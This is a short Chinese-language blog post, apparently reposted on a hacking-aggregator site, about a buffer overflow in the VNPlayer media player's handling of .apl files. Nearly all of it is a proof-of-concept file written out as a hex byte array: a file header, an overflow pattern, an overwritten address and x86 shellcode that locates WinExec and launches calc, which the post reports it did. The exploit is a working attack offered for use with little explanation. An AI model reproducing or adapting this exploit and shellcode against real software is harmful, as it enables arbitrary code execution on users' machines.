记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

VNPlayer缓冲区溢出

2013-02-07 22:35

程序对.apl文件的内容未作校验,传入恶意文件导致缓冲区溢出,执行任意代码。
poc文件的内容:
0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x42, 0x6C,
0x6F, 0x63, 0x6B, 0x3D, 0x20, 0x46, 0x69, 0x6E,
0x69, 0x73, 0x68, 0x20, 0x42, 0x6C, 0x6F, 0x63,
0x6B, 0x3D, 0x5B, 0x4D, 0x6F, 0x6E, 0x6B, 0x65,
0x79, 0x27, 0x73, 0x20, 0x41, 0x75, 0x64, 0x69,
0x6F, 0x20, 0x49, 0x6D, 0x61, 0x67, 0x65, 0x20,
0x4C, 0x69, 0x6E, 0x6B, 0x20, 0x46, 0x69, 0x6C,
0x65, 0x5D, 0x49, 0x6D, 0x61, 0x67, 0x65, 0x20,
0x46, 0x69, 0x6C, 0x65, 0x3D, 0x5C, 0x41, 0x41,
0x41, 0x41, 0x7E, 0x46, 0x41, 0x41, 0x41, 0x7E,
0x4B, 0x41, 0x41, 0x41, 0x7E, 0x50, 0x41, 0x41,
0x41, 0x7E, 0x55, 0x41, 0x41, 0x41, 0x7E, 0x5A,
0x41, 0x41, 0x41, 0x7E, 0x35, 0x41, 0x41, 0x41,
0x7E, 0x30, 0x41, 0x41, 0x41, 0x7E, 0x25, 0x41,
0x41, 0x41, 0x7E, 0x29, 0x41, 0x41, 0x41, 0x7E,
0x43, 0x42, 0x41, 0x41, 0x7E, 0x48, 0x42, 0x41,
0x41, 0x7E, 0x4D, 0x42, 0x41, 0x41, 0x7E, 0x52,
0x42, 0x41, 0x41, 0x7E, 0x57, 0x42, 0x41, 0x41,
0x7E, 0x32, 0x42, 0x41, 0x41, 0x7E, 0x37, 0x42,
0x41, 0x41, 0x7E, 0x40, 0x42, 0x41, 0x41, 0x7E,
0x26, 0x42, 0x41, 0x41, 0x7E, 0x2B, 0x42, 0x41,
0x41, 0x7E, 0x45, 0x43, 0x41, 0x41, 0x7E, 0x4A,
0x43, 0x41, 0x41, 0x7E, 0x4F, 0x43, 0x41, 0x41,
0x7E, 0x54, 0x43, 0x41, 0x41, 0x7E, 0x59, 0x43,
0x41, 0x41, 0x7E, 0x34, 0x43, 0x41, 0x41, 0x7E,
0x39, 0x43, 0x41, 0x41, 0x7E, 0x24, 0x43, 0x41,
0x41, 0x7E, 0x28, 0x43, 0x41, 0x41, 0x7E, 0x42,
0x44, 0x41, 0x41, 0x7E, 0x47, 0x44, 0x41, 0x41,
0x7E, 0x4C, 0x44, 0x41, 0x41, 0x7E, 0x51, 0x44,
0x41, 0x41, 0x7E, 0x56, 0x44, 0x41, 0x41, 0x7E,
0x31, 0x44, 0x41, 0x41, 0x7E, 0x36, 0x44, 0x41,
0x41, 0x7E, 0x21, 0x44, 0x41, 0x41, 0x7E, 0x5E,
0x44, 0x41, 0x41, 0x7E, 0x5F, 0x44, 0x41, 0x41,
0x7E, 0x44, 0x45, 0x41, 0x41, 0x7E, 0x49, 0x45,
0x41, 0x41, 0x7E, 0x4E, 0x45, 0x41, 0x41, 0x7E,
0x53, 0x45, 0x41, 0x41, 0x7E, 0x58, 0x45, 0x41,
0x41, 0x7E, 0x33, 0x45, 0x41, 0x41, 0x7E, 0x38,
0x45, 0x41, 0x41, 0x7E, 0x23, 0x45, 0x41, 0x41,
0x7E, 0x2A, 0x45, 0x41, 0x41, 0x7E, 0x41, 0x46,
0x41, 0x41, 0x7E, 0x46, 0x46, 0x41, 0x41, 0x7E,
0x4B, 0x46, 0x41, 0x41, 0x7E, 0x50, 0x46, 0x41,
0x41, 0x7E, 0x55, 0x46, 0x41, 0x41, 0x7E, 0x5A,
0x46, 0x41, 0x41, 0x7E, 0x35, 0x46, 0x41, 0x41,
0x7E, 0x30, 0x46, 0x41, 0x41, 0x7E, 0x25, 0x46,
0x41, 0x41, 0x7E, 0x29, 0x46, 0x41, 0x41, 0x7E,
0x43, 0x47, 0x41, 0x41, 0x7E, 0x48, 0x47, 0x41,
0x41, 0x7E, 0x4D, 0x47, 0x41, 0x41, 0x7E, 0x52,
0x47, 0x41, 0x41, 0x7E, 0x57, 0x47, 0x41, 0x41,
0x7E, 0x32, 0x47, 0x41, 0x41, 0x7E, 0x37, 0x47,
0x41, 0x41, 0x7E, 0x40, 0x47, 0x41, 0x41, 0x7E,
0x26, 0x47, 0x41, 0x41, 0x7E, 0x2B, 0x47, 0x41,
0x41, 0x7E, 0x45, 0x48, 0x41, 0x41, 0x7E, 0x4A,
0x48, 0x41, 0x41, 0x7E, 0x4F, 0x48, 0x41, 0x41,
0x7E, 0x54, 0x48, 0x41, 0x41, 0x7E, 0x59, 0x48,
0x41, 0x41, 0x7E, 0x34, 0x48, 0x41, 0x41, 0x7E,
0x39, 0x48, 0x41, 0x41, 0x7E, 0x24, 0x48, 0x41,
0x41, 0x7E, 0x28, 0x48, 0x41, 0x41, 0x7E, 0x42,
0x49, 0x41, 0x41, 0x7E, 0x47, 0x49, 0x41, 0x41,
0x7E, 0x4C, 0x49, 0x41, 0x41, 0x7E, 0x51, 0x49,
0x41, 0x41, 0x7E, 0x56, 0x49, 0x41, 0x41, 0x7E,
0x31, 0x49, 0x41, 0x41, 0x7E, 0x36, 0x49, 0x41,
0x41, 0x7E, 0x21, 0x49, 0x41, 0x41, 0x7E, 0x5E,
0x49, 0x41, 0x41, 0x7E, 0x5F, 0x49, 0x41, 0x41,
0x7E, 0x44, 0x4A, 0x41, 0x41, 0x7E, 0x49, 0x4A,
0x41, 0x41, 0x7E, 0x4E, 0x4A, 0x41, 0x41, 0x7E,
0x53, 0x4A, 0x41, 0x41, 0x7E, 0x58, 0x4A, 0x41,
0x41, 0x7E, 0x33, 0x4A, 0x41, 0x41, 0x7E, 0x38,
0x4A, 0x41, 0x41, 0x7E, 0x23, 0x4A, 0x41, 0x41,
0x7E, 0x2A, 0x4A, 0x41, 0x41, 0x7E, 0x41, 0x4B,
0x41, 0x41, 0x7E, 0x46, 0x4B, 0x41, 0x41, 0x7E,
0x4B, 0x4B, 0x41, 0x41, 0x7E, 0x50, 0x4B, 0x41,
0x41, 0x7E, 0x55, 0x4B, 0x41, 0x41, 0x7E, 0x5A,
0x4B, 0x41, 0x41, 0x7E, 0x35, 0x4B, 0x41, 0x41,
0x7E, 0x30, 0x4B, 0x41, 0x41, 0x7E, 0x25, 0x4B,
0x41, 0x41, 0x7E, 0x29, 0x4B, 0x41, 0x41, 0x7E,
0x43, 0x4C, 0x41, 0x41, 0x7E, 0x48, 0x4C, 0x41,
0x41, 0x7E, 0x4D, 0x4C, 0x41, 0x41, 0x7E, 0x52,
0x4C, 0x41, 0x41, 0x7E, 0x57, 0x4C, 0x41, 0x41,
0x7E, 0x32, 0x4C, 0x41, 0x41, 0x7E, 0x37, 0x4C,
0x41, 0x41, 0x7E, 0x40, 0x4C, 0x41, 0x41, 0x7E,
0x26, 0x4C, 0x41, 0x41, 0x7E, 0x2B, 0x4C, 0x41,
0x41, 0x7E, 0x45, 0x4D, 0x41, 0x41, 0x7E, 0x4A,
0x4D, 0x41, 0x41, 0x7E, 0x4F, 0x4D, 0x41, 0x41,
0x7E, 0x54, 0x4D, 0x41, 0x41, 0x7E, 0x59, 0x4D,
0x41, 0x41, 0x7E, 0x34, 0x4D, 0x41, 0x41, 0x7E,
0x39, 0x4D, 0x41, 0x41, 0x7E, 0x24, 0x4D, 0x41,
0x41, 0x7E, 0x28, 0x4D, 0x41, 0x41, 0x7E, 0x42,
0x4E, 0x41, 0x41, 0x7E, 0x47, 0x4E, 0x41, 0x41,
0x7E, 0x4C, 0x4E, 0x41, 0x41, 0x7E, 0x51, 0x4E,
0x41, 0x41, 0x7E, 0x56, 0x4E, 0x41, 0x41, 0x7E,
0x31, 0x4E, 0x41, 0x41, 0x7E, 0x36, 0x4E, 0x41,
0x41, 0x7E, 0x21, 0x4E, 0x41, 0x41, 0x7E, 0x5E,
0x4E, 0x41, 0x41, 0x7E, 0x5F, 0x4E, 0x41, 0x41,
0x7E, 0x44, 0x4F, 0x41, 0x41, 0x7E, 0x49, 0x4F,
0x41, 0x41, 0x7E, 0x4E, 0x4F, 0x41, 0x41, 0x7E,
0x53, 0x4F, 0x41, 0x41, 0x7E, 0x58, 0x4F, 0x41,
0x41, 0x7E, 0x33, 0x4F, 0x41, 0x41, 0x7E, 0x38,
0x4F, 0x41, 0x41, 0x7E, 0x23, 0x4F, 0x41, 0x41,
0x7E, 0x2A, 0x4F, 0x41, 0x41, 0x7E, 0x41, 0x50,
0x41, 0x41, 0x7E, 0x46, 0x50, 0x41, 0x41, 0x7E,
0x4B, 0x50, 0x41, 0x41, 0x7E, 0x50, 0x50, 0x41,
0x41, 0x7E, 0x55, 0x50, 0x41, 0x41, 0x7E, 0x5A,
0x50, 0x41, 0x41, 0x7E, 0x35, 0x50, 0x41, 0x41,
0x7E, 0x30, 0x50, 0x41, 0x41, 0x7E, 0x25, 0x50,
0x41, 0x41, 0x7E, 0x29, 0x50, 0x41, 0x41, 0x7E,
0x43, 0x51, 0x41, 0x41, 0x7E, 0x48, 0x51, 0x41,
0x41, 0x7E, 0x4D, 0x51, 0x41, 0x41, 0x7E, 0x52,
0x51, 0x12, 0x45, 0xFA, 0x7F, 0x51, 0x41, 0x41,
0x7E, 0x32, 0x51, 0x41, 0x41, 0x31, 0xD2, 0x52,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x89, 0xE6, 0x52,
0x56, 0x64, 0x8B, 0x72, 0x30, 0x8B, 0x76, 0x0C,
0x8B, 0x76, 0x0C, 0xAD, 0x8B, 0x30, 0x8B, 0x7E,
0x18, 0x8B, 0x5F, 0x3C, 0x8B, 0x5C, 0x1F, 0x78,
0x8B, 0x74, 0x1F, 0x20, 0x01, 0xFE, 0x8B, 0x4C,
0x1F, 0x24, 0x01, 0xF9, 0x42, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xF5, 0x0F,
0xB7, 0x54, 0x51, 0xFE, 0x8B, 0x74, 0x1F, 0x1C,
0x01, 0xFE, 0x03, 0x3C, 0x96, 0xFF, 0xD7, 0xCC
 
拖拽poc文件到可执行程序


漏洞触发,启动了calc




 

知识来源: www.2cto.com/Article/201302/188585.html

阅读:123324 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“VNPlayer缓冲区溢出”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云